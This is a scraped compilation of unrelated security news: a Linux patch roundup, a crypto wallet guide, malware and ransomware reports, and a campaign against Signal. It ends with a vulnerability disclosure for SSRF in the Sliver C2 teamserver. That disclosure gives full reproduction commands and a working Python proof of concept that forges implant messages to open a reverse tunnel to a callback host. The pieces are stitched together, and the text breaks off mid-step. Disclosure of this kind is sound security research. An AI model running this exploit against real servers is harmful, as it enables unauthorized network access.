February Linux Patch Wednesday. There are 561 vulnerabilities in total. 338 in Linux Kernel. Formally, there is one vulnerability with a sign of exploitation in the wild: RCE – 7-Zip (CVE-2025-0411). But it is about Windows MoTW and, naturally, is not exploitable on Linux. There are public exploits for 21 vulnerabilities. Among them there are […]

**February** **Linux Patch Wednesday****.** There are 561 vulnerabilities in total. 338 in Linux Kernel. Formally, there is one vulnerability with a sign of exploitation in the wild: RCE – 7-Zip (CVE-2025-0411). But it is about Windows MoTW and, naturally, is not exploitable on Linux.

There are public exploits for 21 vulnerabilities.

Among them there are 5 Cacti vulnerabilities:

🔸 **RCE** – Cacti (CVE-2025-24367)  
🔸 **Command Injection** – Cacti (CVE-2025-22604)  
🔸 **SQLi** – Cacti (CVE-2024-54145, CVE-2025-24368)  
🔸 **Path Traversal** – Cacti (CVE-2024-45598)

2 OpenSSH vulnerabilities discovered by Qualys:

🔸 **DoS** – OpenSSH (CVE-2025-26466)  
**🔸 Spoofing/MiTM** – OpenSSH (CVE-2025-26465)

Of the rest, the most interesting are:

🔸 **RCE** – Langchain (CVE-2023-39631), Snapcast (CVE-2023-36177), Checkmk (CVE-2024-13723),  
🔸 **EoP** – Linux Kernel (CVE-2024-50066)  
🔸 **SQLi** – PostgreSQL (CVE-2025-1094)  
🔸 **XSS** – Checkmk (CVE-2024-13722), Thunderbird (CVE-2025-1015)

🗒 Full Vulristics report

На русском

Hi! My name is Alexander and I am a Vulnerability Management specialist. You can read more about me here. Currently, the best way to follow me is my Telegram channel @avleonovcom. I update it more often than this site. If you haven’t used Telegram yet, give it a try. It’s great. You can discuss my posts or ask questions at @avleonovchat.

А всех русскоязычных я приглашаю в ещё один телеграмм канал @avleonovrus, первым делом теперь пишу туда.

February Linux Patch Wednesday

Crypto wallets are essential in keeping your cryptocurrency safe. There are different types of wallets available and choosing…

Crypto wallets are essential in keeping your cryptocurrency safe. There are different types of wallets available and choosing one can be confusing for so many investors. The three commonly used are mobile, desktop, and hardware wallets. 

Mobile and desktop wallets are called hot wallets, which means they are connected to the internet. Hardware wallets, on the other hand, are cold and thus don’t require Wi-Fi. However, all these wallets are non-custodial. You have the full responsibility of protecting your keys.

In this article, we will look at mobile, desktop, and hardware wallets to help you determine the best option for your investment. 

****Hardware Wallet****

Hardware crypto wallets offer offline protection. These are physical devices used to store your private keys. Since they are not connected to the internet or any other devices, hardware wallets are typically considered more secure, but they can be a little complicated to use. 

Modern hardware wallets are more refined. For example, if we look at the Tangem wallet review, you will learn that these devices are designed similarly to modern credit cards and use smartphone displays, making them convenient to carry around. 

Hardware wallets are ideal for large investments since they are highly secure and less susceptible to online attacks. It is best to buy these wallets from authorized dealers or the main company to avoid getting a counterfeit one. 

****Mobile Wallets****

Mobile crypto wallets are apps you can download on your phone to manage your cryptocurrency. It can be on your main phone or another mobile device. These wallets are very portable, enabling you to make transactions on the go. Most mobile wallets have a PIN and a recovery phrase to increase security. 

The major downside is walking around with your wallet is risky. You can easily lose your phone, which makes your wallet vulnerable to hacking. However, some people are adopting to use of a second phone as their mobile wallet which is more secure. The phone is often disconnected from WiFi and may even not include a plan. You only switch it on when making a transaction. 

Generally, mobile wallets are ideal for people who use crypto often, especially in small transactions. It is also a good option for beginners who don’t have a large investment. 

****Desktop Crypto Wallets****

Desktop wallets are software or programs you can install on your computer. Most wallets are compatible with common operating systems like Windows, Linux, and Mac. These are very similar to desktop wallets but some providers offer extra advantages. 

For example, some software wallets allow you to keep your keys offline on a USB drive, essentially functioning like hybrid crypto wallets. Desktop wallets are more secure than mobile ones but are not portable since it is not quite convenient to carry your desktops everywhere. 

The main risk is that if your device gets infected by a virus or malware, your crypto could be jeopardized. Desktop wallets are a good alternative for anyone looking for a secure wallet that is not for everyday use.

****Conclusion****

Choosing the best crypto wallet depends on your use and the size of the investment. For those who use crypto daily, mobile wallets are the best choice. If you want a foolproof, secure wallet, opt for hardware. However, if you are using browser-generated wallets watch out for security vulnerabilities like Randstorm which is currently impacting billions in crypto assets worldwide.

1.  Benefits of Using an Anonymous Bitcoin Wallet
2.  Biggest Crypto Scam Tactics and How to Avoid Them
3.  Power Plants to eWallets: ZTNA’s Role in the Gig Economy
4.  Study Finds AI Guesses Crypto Seed Phrases in 0.02 Seconds
5.  The Growing Importance of Secure Crypto Payment Gateways

Hardware Crypto Wallets vs. Mobile vs. Desktop: Which Should You Choose?

A list of topics we covered in the week of February 17 to February 23 of 2025

February 21, 2025 - Healthcare security is failing patients time and again. This week DM Clinical Research and Helath Net Federal Services take the spotlight

February 20, 2025 - Beware before downloading Google Chrome from a Google search, you might get more than you expected.

February 20, 2025 - An infostealer known as ACRStealer is using legitimate platforms like Google Docs and Steam as part of an attack.

February 20, 2025 - South Korea says it's uncovered evidence that DeepSeek has secretly been sharing data with ByteDance, the parent company of popular social media app TikTok.

February 19, 2025 - Malwarebytes now protects ARM-based Windows devices, such as Microsoft’s Surface Pro X and Lenovo’s Yoga laptops.

 A week in security (February 17 &#8211; February 23) 

Beware before downloading Google Chrome from a Google search, you might get more than you expected.

Criminals are once again abusing Google Ads to trick users into downloading malware. Ironically, this time the bait is a malicious ad for Google Chrome, the world’s most popular browser.

Victims who click the ad land on a fraudulent Google Sites page designed as a intermediary portal, similar to what we saw earlier this year with the massive Google accounts phishing campaign.

The final redirect eventually downloads a large executable disguised as Google Chrome which does install the aforementioned but also surreptitiously drops a malware payload known as SecTopRAT.

We have reported this incident to Google, but at the time of writing the fake Google Sites page is still up and running.

We identified a suspicious ad when searching for “_download google chrome_“. If you look at the URL embedded in the sponsored result, you will notice it shows “_https://sites.google.com_“, which is Google’s free website builder.

While most pages hosted on there are legitimate, it’s good to remember that they are user generated and that abuse is a part of any open platform. It’s also a way for criminals to cleverly appear as legitimate when building fake ads.

**Malware payload**

Once a user double clicks on _GoogleChrome.exe_ the fake Chrome installer connects to _hxxps\[://\]launchapps\[.\]site/getCode\[.\]php_ and retrieves the necessary instructions. Below, we can see how it requests to run as administrator in order to perform certain actions that require this access level.

A PowerShell command adds an exclusion path to the %appdata%\\Roaming directory so that Windows Defender does not trigger when the malware payload is extracted.

An encrypted data stream is downloaded from _hxxps\[://\]launchapps\[.\]site/3\[.\]php?uuid={}\_uuid_ and then decrypted:

The executable named _decrypted.exe_ (PDB path: _D:\\a\\wix4\\wix4\\build\\burn\\Release\\x64\\burn.pdb_) is then dropped to %\\AppData%\\Roaming\\BackupWin\\ and unpacks the final payload, _waterfox.exe_. Side note: it has the same name and icon as the Waterfox browser (an open-source fork of the Firefox web browser).

The malicious code is then injected into the legitimate _MSBuild.exe_ process which communicates with the attackers’ command and control infrastructure at the following IP: 45.141.84\[.\]208. From this, we identify the malware payload as SecTopRAT, a remote access Trojan with stealer capabilities.

Lastly, to make sure victims are completely fooled, it finishes by downloading and installing the legitimate Chrome browser. From the installation script, we see other campaigns the same threat actors are running in parallel for fake Notion and Grammarly installers.

**Conclusion**

Downloading and installing software provides an opportunity for threat actors as long as they are able to compromise the delivery chain. Search ads provide that entry point by leveraging the trust users have in their search engine. It is somewhat ironic but also damning when malicious ads impersonate the same platform that allows them in the first place.

The fake Chrome installer we reviewed in this blog post cleverly retrieved its malicious payload dynamically from a remote site and only decrypted it after making sure Windows Defender would not be able to scan it. The ruse was complete when the actual legitimate Google Chrome installer was downloaded and installed.

Malwarebytes users were already protected from this attack, with Browser Guard blocking the malicious ad and Premium Security Antivirus detecting the dropped payload.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

**Indicators of Compromise**

Google Sites

sites\[.\]google\[.\]com/view/gfbtechd/

Fake Chrome download

chrome\[.\]browser\[.\]com\[.\]de  
chrome\[.\]browser\[.\]com\[.\]de/GoogleChrome.exe  
48fdfbe23eef7eddff071d3eda1bc654b94cf86036ca1cca9c73b0175e168a55

Payload host

launchapps\[.\]site

decrypted.exe

f0977c293f94492921452921181d79e8790f34939429924063e77e120ebd23d7

waterfox.exe

0f9b2870c4be5ebacb936000ff41f8075ec88d6535161a93df8e6cfea2d8db54

C2

45.141.84\[.\]208

 SecTopRAT bundled in Chrome installer distributed via Google Ads 

Fake browser update scams now target Mac, Windows, and Android users, delivering malware like FrigidStealer, Lumma Stealer, and…

Fake browser update scams now target Mac, Windows, and Android users, delivering malware like FrigidStealer, Lumma Stealer, and Marcher trojan through compromised websites.

Cybersecurity researchers at Proofpoint have identified two new cybercriminal groups behind a wave of fake browser update scams designed to infect users with malware. These groups, tracked as TA2726 and TA2727, are using compromised websites to trick visitors into downloading malicious software with now including a newly discovered Mac-specific information stealer called FrigidStealer.

****How the Attack Works****

The scam relies on web injects, a technique where attackers insert malicious code into legitimate websites. When users visit an infected site, they see a fake browser update prompt urging them to download and install an update. Instead of a real update, the download delivers malware that can steal sensitive data or install more dangerous payloads.

****TA2726 and TA2727****

TA2726 operates as a traffic seller, essentially providing this redirection service for other malicious actors. Researchers believe that TA2726 appears to be working alongside TA569, a previously known threat actor and once the main player in “fake update” campaigns. TA2727, on the other hand, according to Proofpoint’s blog post, is actively distributing malware itself, often employing the “fake update” ruse to trick users.

One recent campaign observed TA2727 delivering different malware based on the victim’s location. In the United States and Canada, users were directed to the SocGholish inject, which led to the installation of malware. But in Europe, Windows users encountered a fake browser update prompt that installed the Lumma Stealer, while Android users were targeted with the Marcher banking trojan.

****FrigidStealer macOS Malware****

The new FrigidStealer targets Mac users, and the attack starts with a fake update message that redirects them to a malicious file. If clicked, the file, disguised as a browser update (both Chrome and Safari), installs the information stealer. FrigidStealer then secretly harvests sensitive data like browser cookies, files related to passwords and cryptocurrencies, and even Apple Notes, just like the recently spotted new variant of the XCSSET malware.

Fake Safari and Chrome browser update websites delivering FrigidStealer (Via: Proofpoint)

The malware is written in Go and uses WailsIO, a framework that allows the fake update window to look realistic. It also bypasses Mac’s Gatekeeper security feature by requiring users to right-click and select “Open,” a common trick used by Mac malware authors.

****Windows and Android Users Also Targeted****

Mac users aren’t the only ones at risk. The same attack chain has been found delivering Marcher banking trojan for Android and Lumma Stealer and DeerStealer for Windows.

For Android users, clicking the update downloads Marcher, a banking trojan that has been active since 2013 and is designed to steal login credentials from banking apps. If a Windows user clicks the fake update, they receive an MSI installer that loads a trojanized DLL, ultimately running Lumma Stealer to extract credentials and financial data.

Users can still protect themselves by learning basic cybersecurity practices, learning how to spot a phishing email, avoiding third-party apps and tools, and scanning files and links on sites like VirusTotal or ANY.RUN.

New FrigidStealer Malware Infects macOS via Fake Browser Updates

FBI and CISA warn of Ghost ransomware, a China-based cyber threat targeting businesses, schools, and healthcare worldwide by exploiting software vulnerabilities.

A joint advisory from the Federal Bureau of Investigation (FBI), Cybersecurity and Infrastructure Security Agency (CISA), and the Multi-State Information Sharing and Analysis Center (MS-ISAC) reveals the ongoing threat of Ghost ransomware, also known as Cring.

Active since early 2021, this group, operating out of China, has targeted organizations in over 70 countries, impacting critical infrastructure, schools, healthcare, government networks, and businesses of all sizes. Their motive is purely financial gain.

****How Ghost Operates:****

Ghost actors exploit known vulnerabilities in internet-facing services running outdated software and firmware. Their modus operandi involves using publicly available code to exploit known vulnerabilities, such as those in Fortinet FortiOS appliances, Adobe ColdFusion, Microsoft SharePoint, and Microsoft Exchange. Once inside, they deploy ransomware payloads, including Cring.exe, Ghost.exe, ElysiumO.exe, and Locker.exe, which encrypt files and demand hefty ransoms in cryptocurrency.

While Ghost’s ransom notes often threaten to sell stolen data, they typically exfiltrate limited amounts of information, focusing on encrypting systems for ransom.

****Identifying Ghost Activity:****

The advisory provides a list of indicators of compromise (IOCs), including file hashes, ransom email addresses, and tools used by Ghost actors. Organizations should investigate any presence of these IOCs on their networks. Unusual network traffic, such as scans for vulnerable devices, manipulation of administrator accounts, and execution of unfamiliar PowerShell scripts, can also indicate Ghost activity.

****Protecting Your Organization:****

The advisory also stresses the importance of basic security measures to defend against Ghost ransomware. One key measure is maintaining regular backups, preferably offline or segmented, to enable system restoration without succumbing to ransom demands. Timely patching software and firmware is also vital in addressing known vulnerabilities before they can be exploited.

Organizations should implement network segmentation by isolating compromised systems to limit the spread of infections. Strengthening authentication methods is another vital step, with phishing-resistant multi-factor authentication (MFA) recommended for all privileged and email accounts.

Cybersecurity training for employees also helps overcome the risks of phishing attacks. Additionally, monitoring PowerShell usage can help detect malicious activity early.

Organizations should also implement allowlisting to restrict the execution of unauthorized applications and scripts, reducing the risk of malware infiltration. Network monitoring is essential for identifying and investigating any abnormal behaviour that could indicate a security breach.

Furthermore, minimizing service exposure by disabling unnecessary ports and restricting access to essential services can significantly reduce vulnerabilities. Lastly, enhancing email security through advanced filtering and anti-spoofing measures helps prevent phishing attempts and other email-based threats.

As Juliette Hudson, CTO of CybaVerse, notes, _“_Ghost is a serious nation-state threat, exploiting known CVEs in widely used tech. Organizations must prioritize patching and remediation to prevent attacks. Unlike many ransomware groups relying on social engineering, Ghost exploits vulnerabilities for initial access. This highlights the urgency of timely security updates, as exploitation windows are shrinking. Strong cybersecurity hygiene, vulnerability testing, and security awareness training, especially against AI-driven phishing and deepfakes, are essential to defence._“_

1.  RansomHub: The New King of Ransomware?
2.  Lessons from the Holy Ghost Ransomware Attacks
3.  Fake GitHub Accounts Drop Malware in Stargazers Ghost Scheme
4.  New Codefinger Ransomware Exploits AWS to Encrypt S3 Buckets
5.  US Sanctions Chinese Cybersecurity Firm for Ransomware Attacks

FBI and CISA Warn of Ghost Ransomware: A Threat to Firms Worldwide

These sorts of attacks reveal growing adversary interest in secure messaging apps used by high-value targets for communication, Google says.

Source: aily\_creativity via Shutterstock

Multiple Russia-aligned threat groups are actively targeting the Signal Messenger application of individuals likely to exchange sensitive military and government communications related to the country's war with Ukraine.

For now, the activity appears limited to persons of interest to Russia's intelligence services, according to researchers at Google's Threat Intelligence Group (GTIG), who spotted it recently. But the tactics the threat actors are using in the campaign could well serve as a blueprint for other groups to follow in broader attacks on Signal, WhatsApp, Telegram, and other popular messaging apps, GTIG warned in a blog post this week.

**Likely to Become More Prevalent**

"We anticipate the tactics and methods used to target Signal will grow in prevalence in the near-term and proliferate to additional threat actors and regions outside the Ukrainian theater of war," Google threat analyst Dan Black wrote in the post.

Two of the Russian cyber-espionage groups that Google observed targeting Signal are UNC5792 — a threat actor that Ukraine's CERT tracks as UAC-0195 — and UNC4221 (aka UAC-0185). The goal of the attackers in both cases is to trick targeted victims into unknowingly linking their Signal account to an attacker-controlled device so any incoming messages are simultaneously available on the linked device.  

The attacks are taking advantage of "linked devices," a feature of the Signal app that allows users to securely connect and synchronize their account across multiple devices. However, the tactics that each threat group uses to get targets to unwittingly link their accounts have been slightly different.

UNC5782's ploy has been to send invitations asking targeted individuals to join a Signal group by sharing a malicious QR code with them. While the invitations look identical to Signal's group invite, the threat actors have modified them so that anyone social-engineered into scanning the QR code ends up linking their account to a UNC592-controlled device instead.

The other threat group, UNC4221, is using a customized phishing kit that impersonates parts of Kropyva, an application that Ukraine's military uses for artillery guidance, to try and social-engineer Signal Messenger users of interest. The threat actor has established Kropyva-themed phishing sites with the QR code directly embedded on them. It has also set up phishing sites pretending to contain legitimate Signal instructions for device linking to encourage scam victims into scanning their malicious QR code.

**Broad Threat Actor Interest**

Google identified UNC4221 and UNC5782 as two of several Russian and Belarusian groups that are targeting Signal Messenger to spy on persons of interest. Not all attacks by UNC4221 and UNC578 have involved device linking. Russia's infamous Sandworm cyber-sabotage group (which Google tracks as APT44) has been stealing Signal messages from a target's Signal database or local storage files, using a combination of malware tools. Similarly, Turla, a threat actor that the US government has tied to Russia's Federal Security Service (FSB), is doing the same using a lightweight PowerShell script that it deploys after gaining access to a target environment. Another threat actor from the region targeting Signal Messenger, according to Google, is Belarus-linked UNC1151, which uses the Robocopy Windows file-copying tool to copy and store Signal messages and attachments for future theft.

The flurry of activity targeting Signal is a sign of broader attacker interest in secure messaging apps used by those in espionage and intelligence gathering, including politicians, military personnel, activists, privacy advocates, and journalists. The apps' security features, which include end-to-end encryption of text, voice, and video with minimal data collection practices, have made it a popular tool for at-risk individuals and communities. It has also made the app "a high-value target for adversaries seeking to intercept sensitive information that could fulfill a range of different intelligence requirements," Google's Black wrote.

Signal is not the only target. Russian groups have also targeted Telegram and WhatsApp users in the same way, Black said. He pointed to a recent Microsoft report on attacks by Russian group Star Blizzard (aka Coldriver, Blue Charlie, Callisto, and UNC4057) that targeted WhatsApp accounts belonging to current and former government officials and diplomats.

Significantly, attacks targeting WhatsApp can affect businesses as well. Although WhatsApp — like Signal, Telegram and other messenger apps — is primarily consumer-focused, numerous businesses worldwide use the app. WhatsApp even has a business version that it has positioned as a tool that businesses can use to engage with customers, accelerate sales, and deliver customer support.

**About the Author**

Jai Vijayan is a seasoned technology reporter with over 20 years of experience in IT trade journalism. He was most recently a Senior Editor at Computerworld, where he covered information security and data privacy issues for the publication. Over the course of his 20-year career at Computerworld, Jai also covered a variety of other technology topics, including big data, Hadoop, Internet of Things, e-voting, and data analytics. Prior to Computerworld, Jai covered technology issues for The Economic Times in Bangalore, India. Jai has a Master's degree in Statistics and lives in Naperville, Ill.

Russian Groups Target Signal Messenger in Spy Campaign

### Summary
The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so


### Reproduction steps
Run server
```
wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
chmod +x sliver-server_linux
./sliver-server_linux
```

Generate binary
```
generate --mtls 127.0.0.1:8443
```

Run it on windows, then `Task manager -> find process -> Create memory dump file`


Install RogueSliver and get the certs
```
git clone https://github.com/ACE-Responder/RogueSliver.git
pip3 install -r requirements.txt --break-system-packages
python3 ExtractCerts.py implant.dmp
```

Start callback listener. Teamserver will connect when POC is run and send "ssrf poc" to nc
```
nc -nvlp 1111
```

Run the poc (pasted at bottom of this file)
```
python3 poc.py <SLIVER IP> <MTLS PORT> <CALLBACK IP> <CALLBACK PORT>
python3 poc.py 192.168.1.33 8443 44.221.186.72 1111
```


### Details
We see here an envelope is read from the connection and if the envelope.Type matches a handler the handler will be executed
```go
func handleSliverConnection(conn net.Conn) {
	mtlsLog.Infof("Accepted incoming connection: %s", conn.RemoteAddr())
	implantConn := core.NewImplantConnection(consts.MtlsStr, conn.RemoteAddr().String())

	defer func() {
		mtlsLog.Debugf("mtls connection closing")
		conn.Close()
		implantConn.Cleanup()
	}()

	done := make(chan bool)
	go func() {
		defer func() {
			done <- true
		}()
		handlers := serverHandlers.GetHandlers()
		for {
			envelope, err := socketReadEnvelope(conn)
			if err != nil {
				mtlsLog.Errorf("Socket read error %v", err)
				return
			}
			implantConn.UpdateLastMessage()
			if envelope.ID != 0 {
				implantConn.RespMutex.RLock()
				if resp, ok := implantConn.Resp[envelope.ID]; ok {
					resp <- envelope // Could deadlock, maybe want to investigate better solutions
				}
				implantConn.RespMutex.RUnlock()
			} else if handler, ok := handlers[envelope.Type]; ok {
				mtlsLog.Debugf("Received new mtls message type %d, data: %s", envelope.Type, envelope.Data)
				go func() {
					respEnvelope := handler(implantConn, envelope.Data)
					if respEnvelope != nil {
						implantConn.Send <- respEnvelope
					}
				}()
			}
		}
	}()

Loop:
	for {
		select {
		case envelope := <-implantConn.Send:
			err := socketWriteEnvelope(conn, envelope)
			if err != nil {
				mtlsLog.Errorf("Socket write failed %v", err)
				break Loop
			}
		case <-done:
			break Loop
		}
	}
	mtlsLog.Debugf("Closing implant connection %s", implantConn.ID)
}
```

The available handlers:
```go
func GetHandlers() map[uint32]ServerHandler {
	return map[uint32]ServerHandler{
		// Sessions
		sliverpb.MsgRegister:    registerSessionHandler,
		sliverpb.MsgTunnelData:  tunnelDataHandler,
		sliverpb.MsgTunnelClose: tunnelCloseHandler,
		sliverpb.MsgPing:        pingHandler,
		sliverpb.MsgSocksData:   socksDataHandler,

		// Beacons
		sliverpb.MsgBeaconRegister: beaconRegisterHandler,
		sliverpb.MsgBeaconTasks:    beaconTasksHandler,

		// Pivots
		sliverpb.MsgPivotPeerEnvelope: pivotPeerEnvelopeHandler,
		sliverpb.MsgPivotPeerFailure:  pivotPeerFailureHandler,
	}
}
```

If we send an envelope with the envelope.Type equaling MsgTunnelData, we will enter the `tunnelDataHandler` function
```go
// The handler mutex prevents a send on a closed channel, without it
// two handlers calls may race when a tunnel is quickly created and closed.
func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)
	if session == nil {
		sessionHandlerLog.Warnf("Received tunnel data from unknown session: %v", implantConn)
		return nil
	}
	tunnelHandlerMutex.Lock()
	defer tunnelHandlerMutex.Unlock()
	tunnelData := &sliverpb.TunnelData{}
	proto.Unmarshal(data, tunnelData)

	sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)

	rtunnel := rtunnels.GetRTunnel(tunnelData.TunnelID)
	if rtunnel != nil && session.ID == rtunnel.SessionID {
		RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else if rtunnel != nil && session.ID != rtunnel.SessionID {
		sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on reverse tunnel it did not own", session.ID)
	} else if rtunnel == nil && tunnelData.CreateReverse == true {
		createReverseTunnelHandler(implantConn, data)
		//RTunnelDataHandler(tunnelData, rtunnel, implantConn)
	} else {
		tunnel := core.Tunnels.Get(tunnelData.TunnelID)
		if tunnel != nil {
			if session.ID == tunnel.SessionID {
				tunnel.SendDataFromImplant(tunnelData)
			} else {
				sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
			}
		} else {
			sessionHandlerLog.Warnf("Data sent on nil tunnel %d", tunnelData.TunnelID)
		}
	}

	return nil
}
```


The `createReverseTunnelHandler` reads the envelope, creating a socket for `req.Rportfwd.Host` and `req.Rportfwd.Port`.  It will write `recv.Data` to it
```go
func createReverseTunnelHandler(implantConn *core.ImplantConnection, data []byte) *sliverpb.Envelope {
	session := core.Sessions.FromImplantConnection(implantConn)

	req := &sliverpb.TunnelData{}
	proto.Unmarshal(data, req)

	var defaultDialer = new(net.Dialer)

	remoteAddress := fmt.Sprintf("%s:%d", req.Rportfwd.Host, req.Rportfwd.Port)

	ctx, cancelContext := context.WithCancel(context.Background())

	dst, err := defaultDialer.DialContext(ctx, "tcp", remoteAddress)
	//dst, err := net.Dial("tcp", remoteAddress)
	if err != nil {
		tunnelClose, _ := proto.Marshal(&sliverpb.TunnelData{
			Closed:   true,
			TunnelID: req.TunnelID,
		})
		implantConn.Send <- &sliverpb.Envelope{
			Type: sliverpb.MsgTunnelClose,
			Data: tunnelClose,
		}
		cancelContext()
		return nil
	}

	if conn, ok := dst.(*net.TCPConn); ok {
		// {{if .Config.Debug}}
		//log.Printf("[portfwd] Configuring keep alive")
		// {{end}}
		conn.SetKeepAlive(true)
		// TODO: Make KeepAlive configurable
		conn.SetKeepAlivePeriod(1000 * time.Second)
	}

	tunnel := rtunnels.NewRTunnel(req.TunnelID, session.ID, dst, dst)
	rtunnels.AddRTunnel(tunnel)
	cleanup := func(reason error) {
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
		// {{end}}
		tunnel := rtunnels.GetRTunnel(tunnel.ID)
		rtunnels.RemoveRTunnel(tunnel.ID)
		dst.Close()
		cancelContext()
	}

	go func() {
		tWriter := tunnelWriter{
			tun:  tunnel,
			conn: implantConn,
		}
		// portfwd only uses one reader, hence the tunnel.Readers[0]
		n, err := io.Copy(tWriter, tunnel.Readers[0])
		_ = n // avoid not used compiler error if debug mode is disabled
		// {{if .Config.Debug}}
		sessionHandlerLog.Infof("[tunnel] Tunnel done, wrote %v bytes", n)
		// {{end}}

		cleanup(err)
	}()

	tunnelDataCache.Add(tunnel.ID, req.Sequence, req)

	// NOTE: The read/write semantics can be a little mind boggling, just remember we're reading
	// from the server and writing to the tunnel's reader (e.g. stdout), so that's why ReadSequence
	// is used here whereas WriteSequence is used for data written back to the server

	// Go through cache and write all sequential data to the reader
	for recv, ok := tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()); ok; recv, ok = tunnelDataCache.Get(tunnel.ID, tunnel.ReadSequence()) {
		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("[tunnel] Write %d bytes to tunnel %d (read seq: %d)", len(recv.Data), recv.TunnelID, recv.Sequence)
		// {{end}}
		tunnel.Writer.Write(recv.Data)

		// Delete the entry we just wrote from the cache
		tunnelDataCache.DeleteSeq(tunnel.ID, tunnel.ReadSequence())
		tunnel.IncReadSequence() // Increment sequence counter

		// {{if .Config.Debug}}
		//sessionHandlerLog.Infof("[message just received] %v", tunnelData)
		// {{end}}
	}

	//If cache is building up it probably means a msg was lost and the server is currently hung waiting for it.
	//Send a Resend packet to have the msg resent from the cache
	if tunnelDataCache.Len(tunnel.ID) > 3 {
		data, err := proto.Marshal(&sliverpb.TunnelData{
			Sequence: tunnel.WriteSequence(), // The tunnel write sequence
			Ack:      tunnel.ReadSequence(),
			Resend:   true,
			TunnelID: tunnel.ID,
			Data:     []byte{},
		})
		if err != nil {
			// {{if .Config.Debug}}
			//sessionHandlerLog.Infof("[shell] Failed to marshal protobuf %s", err)
			// {{end}}
		} else {
			// {{if .Config.Debug}}
			//sessionHandlerLog.Infof("[tunnel] Requesting resend of tunnelData seq: %d", tunnel.ReadSequence())
			// {{end}}
			implantConn.RequestResend(data)
		}
	}
	return nil
}
```



### Impact
For current POC, mostly just leaking teamserver origin IP behind redirectors. I am 99% sure you can get full read SSRF but POC is blind only right now

To exploit this for MTLS listeners, you will need MTLS keys
For HTTP listeners, you will need to generate valid nonce
Not sure about other transport types



### POC
POC code, it is not cleaned up at all, please forgive me
```python
#!/usr/bin/python
import sys
import time
import base64
import socket, ssl
from RogueSliver.consts import msgs
import random
import struct
import RogueSliver.sliver_pb2 as sliver
import json
import argparse
import uuid
from google.protobuf import json_format
from rich import print
import random
import string

ssl_ctx = ssl.create_default_context()
ssl_ctx.load_cert_chain(keyfile='certs/client.key',certfile='certs/client.crt')#,ca_certs='sliver/ca.crt')
ssl_ctx.load_verify_locations('certs/ca.crt')
ssl_ctx.check_hostname = False
ssl_ctx.verify_mode = ssl.CERT_NONE



def generate_random_string(length=8):
    # Combine letters and digits
    characters = string.ascii_letters + string.digits
    # Generate random string
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string

def rand_unicode(junk_sz):
  junk = ''.join([chr(random.randint(0,2047)) for x in range(junk_sz)]).encode('utf-8','surrogatepass').decode()
  return(junk)

def junk_register(junk_sz):
  n = generate_random_string()
  register = {
        "Name": "chebuya"+n,
        "Hostname": "chebuya.local"+n,
        "Uuid": "uuid"+n,
        "Username": "username"+n,
        "Uid": "uid"+n,
        "Gid": "gid"+n,
        "Os": "os"+n,
        "Arch": "arch"+n,
        "Pid": 10,
        "Filename": "filename"+n,
        "ActiveC2": "activec2"+n,
        "Version": "version"+n,
        "ReconnectInterval": 60,
        "ConfigID": "config_id"+n,
        "PeerID": -1,
        "Locale": "locale" + n
  }

  return register



def make_ping_env():
  reg = sliver.Ping()
  json_format.Parse(json.dumps({}),reg)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('Ping')
  envelope.Data = reg.SerializeToString()

  return envelope



def make_rt_env():
    
    jdata = {
            "Data": "c3NyZiBwb2M=",
            "Closed": False,
            "Sequence": 0,
            "Ack": 0,
            "Resend": False,
            "CreateReverse": True,
            "rportfwd": {
                "Port": int(sys.argv[4]),
                "Host": sys.argv[3],
                "TunnelID": 0,
            },
            "TunnelID": 0,
    }



    reg = sliver.TunnelData()
    json_format.Parse(json.dumps(jdata),reg)
    envelope = sliver.Envelope()
    envelope.Type = msgs.index('TunnelData')
    envelope.Data = reg.SerializeToString()

    return envelope




def send_envelope(envelope,ip,port):
  with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    with ssl_ctx.wrap_socket(s,) as ssock:
      ssock.connect((ip,port))

      print(len(envelope.SerializeToString()))
      #data_len = struct.pack('!I', len(envelope.SerializeToString()) )
      data_len = struct.pack('I', len(envelope.SerializeToString()) )




      envelope3 = make_rt_env()
      data_len3 = struct.pack('I', len(envelope3.SerializeToString()) )

      print(data_len)

      ssock.write(data_len + envelope.SerializeToString()) 
      ssock.write(data_len3 + envelope3.SerializeToString())



    
      # No idea why this is reqauired
      while True:
          time.sleep(2)
          ssock.write(data_len3 + envelope3.SerializeToString())



def register_session(ip,port):
  print('[yellow]\[i][/yellow] Sending session registration.')
  reg = sliver.Register()
  json_format.Parse(json.dumps(junk_register(50)),reg)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('Register')
  envelope.Data = reg.SerializeToString()
  send_envelope(envelope,ip,port)

def register_beacon(ip,port):
  print('[yellow]\[i][/yellow] Sending beacon registration.')
  reg = sliver.BeaconRegister()
  reg.ID = str(uuid.uuid4())
  junk_sz = 50
  reg.Interval = random.randint(0,10*junk_sz)
  reg.Jitter = random.randint(0,10*junk_sz)
  reg.NextCheckin = random.randint(0,10*junk_sz)
  json_format.Parse(json.dumps(junk_register(junk_sz)),reg.Register)
  envelope = sliver.Envelope()
  envelope.Type = msgs.index('BeaconRegister')
  envelope.Data = reg.SerializeToString()
  send_envelope(envelope,ip,port)

description = '''
Flood a Sliver C2 server with beacons and sessions. Requires an mtls certificate.
'''

if __name__ == '__main__':
  register_session(sys.argv[1], int(sys.argv[2]))
```

**Summary**

The reverse port forwarding in sliver teamserver allows the implant to open a reverse tunnel on the sliver teamserver without verifying if the operator instructed the implant to do so

**Reproduction steps**

Run server

    wget https://github.com/BishopFox/sliver/releases/download/v1.5.42/sliver-server_linux
    chmod +x sliver-server_linux
